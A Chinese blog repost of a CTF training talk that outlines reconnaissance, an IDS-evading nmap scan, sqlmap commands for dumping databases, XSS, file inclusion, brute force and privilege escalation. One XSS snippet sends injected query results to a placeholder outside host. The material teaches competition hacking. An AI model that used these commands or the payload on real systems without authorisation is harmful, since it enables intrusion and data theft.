Loading

乌云沙龙:赛棍的自我修养

来自:安全客 

t01c3b3a5060694c6e4.png

About Me

id:redrain

熟悉各种主流,非主流渗透测试技术

资深赛棍,CTF,wargame爱好者,获国内各大CTF冠亚季军balabala

light4freedom成员

blog:    http://www.hackdog.me

部分writeup: http://www.hackdog.me/writeup/

CTF概览

为了评估,发现安全人才而开设的一种比赛模式

通常分为线上解题模式和线下攻防模式

如著名的CTF赛制,wargame赛制

比赛内容包括了web,binary,网络,移动安全,无线安全,大数据等等

平时在哪儿玩儿

ctftim:http://ctftime.org

t012b95f80a9fcb5b41.png

wechall:http://wechall.net

t01f54f49684b386533.png

渗透测试关键技术

获取信息(gather info)

攻击行为(sqli,xss...)

权限提升(privilege elevation)

 

获取信息

信息收集

服务器信息%中间件信息(iis,apache,nginx,django等webserver)

http响应报文

域名whois

敏感文件和路径

phpinfo(web探针)

数据库信息(类型,版本等,通常由sqli获取)

管理员信息

子域名&&同服&&C段服务器信息探测

......

扫描器

通常情况vul scanner不允许使用

扫描器可以很方便的探测信息,找到漏洞,但是容易触发ids,防火墙

t014a79d7afde0f4785.png

w3af

t0191e1c6bdcf349064.png

nmap

t01c2c8e036bf41b67c.png

了解nmap常用命令

nmap -h

t0177aab9c393a4012d.png

基本语法:

nmap [扫描方式] [命令选项] {目标}

nmap -p 80,8080 ip

(只扫描开放80和8080端口的主机)

http://p8.qhimg.com/t01017052abac0af5ee.png

扫描方式配合使用

禁用ping扫描,使用静默扫描绕过ids检测

nmap -Pn -sS -A -v -T4 IP

t01854dd6c2c3ca32e2.png

域名相关信息探测

whois

子域名探测(爆破,域传送漏洞)

whois

http://p9.qhimg.com/t019c043d9e808f227c.png

子域名探测(通过爆破和接口查询)

t016aaf455d0ee6483e.png

子域名探测(域传送漏洞)

t0188c5bad47decb4ed.png

攻击行为

sql注入(sql injection)

因为用户输入参数可控且带入程序语句,入库查询,导致sql注入

%显错注入(直接注入闭合符号报错)

%盲注(判断语句进行注入)

%边信道注入(延时注入)

 

不得不说的自动化工具

sqlmap

havij

sqlmap -u url(GET)

sqlmap -u url --data(POST)

t015519af9c940e7cb3.png

sqlmap -u url --dbs

sqlmap -u url -D(指定数据库) --tables

sqlmap -u url -D(制定数据库) -T(指定表名) --columns

sqlmap -u url -D(制定数据库) -T(指定表名) -C(制定字段) --dump

t01be90c127e7d82871.png

不同的数据库的注入差异

Access

Mssql(SQLserver)

Mysql

Oracle

MongoDB

......

Access只能通过字典爆表

Mssql如果是以sa权限的用户可以通过xp_cmdshell执行系统命令

Mysql5可在information库读取到表信息,如果是root用户也可执行命令

Oracle提升权限到DBA后可导出JAVA执行系统命令

......

XSS

跨站点脚本攻击

在页面注入了黑客的恶意js,可盗取cookie,传播蠕虫,挂马,实现rootkit后门等

CTF中,xss往往配合其他攻击手法使用

1
2
3
4
xss: href='http://host.xxoo.php'$.ajax({url:"/xxx.php?id=1 and 1=sqli payload",
type:'GET',success: function(data){
$.post('http://host/xxoo.php',{'a':data});
}});

一些其他漏洞利用

PHP文件包含(远程,本地)

命令执行

代码执行

中间件,框架漏洞  

php文件包含

t0184e493e4808ff7c9.png

爆破(口令字典)

通过字典,暴力破解帐号密码

没有验证码

没有限制用户提交次数

t01ca0f335114d9a34c.png

系统权限提升

通过现有的系统漏洞利用(exp)提权

通过第三方应用提权(mysql,mssql,filezilla...)

通过管理信息泄漏,碰撞密码,直接拿到最高权限

http://p3.qhimg.com/t015398f7950e1716b0.png

通过现有的系统漏洞利用(exp)提权

t014d588cd53ce2f6b7.png

CTF和实际场景的区别

丫的肯定是有漏洞的

CTF肯定是有漏洞的,可能只是我们脑洞没跟上

CTF考察一个点,实际工作面对的是安全整体

针对已知信息猜测考察点,不需要和平时工作一样太多考虑整个安全整体

脑洞大开

出题人水平层次不齐,所以脑洞一定要坐北朝南

赛棍的奥义

一切输入都是有害的

找到交互点,结合白/黑盒方式测试输入输出

一切信息都是有用的

对目标进行详细的信息探测,将会大大方便接下来的工作

例如:比赛形式最喜欢将敏感信息藏在http返回包里

多尝试不同的攻击手段

有时比赛环境的出题人脑洞比较大,和实际攻击场景有出入

例如:同样是一个sqli,出题环境做了硬编码,只有唯一答案

所以payload在你本地work,在环境不work

攻击犀利,但是要保护自己

在很多的比赛中,尤其是线下赛,经常有选手的电脑接入网络环境后被黑

直接暴露弱点是不聪明的,你可以扩大自己的攻击成果但是要保护自己

posted @ 2017-01-22 16:25  ssooking  阅读(448)  评论(0编辑  收藏  举报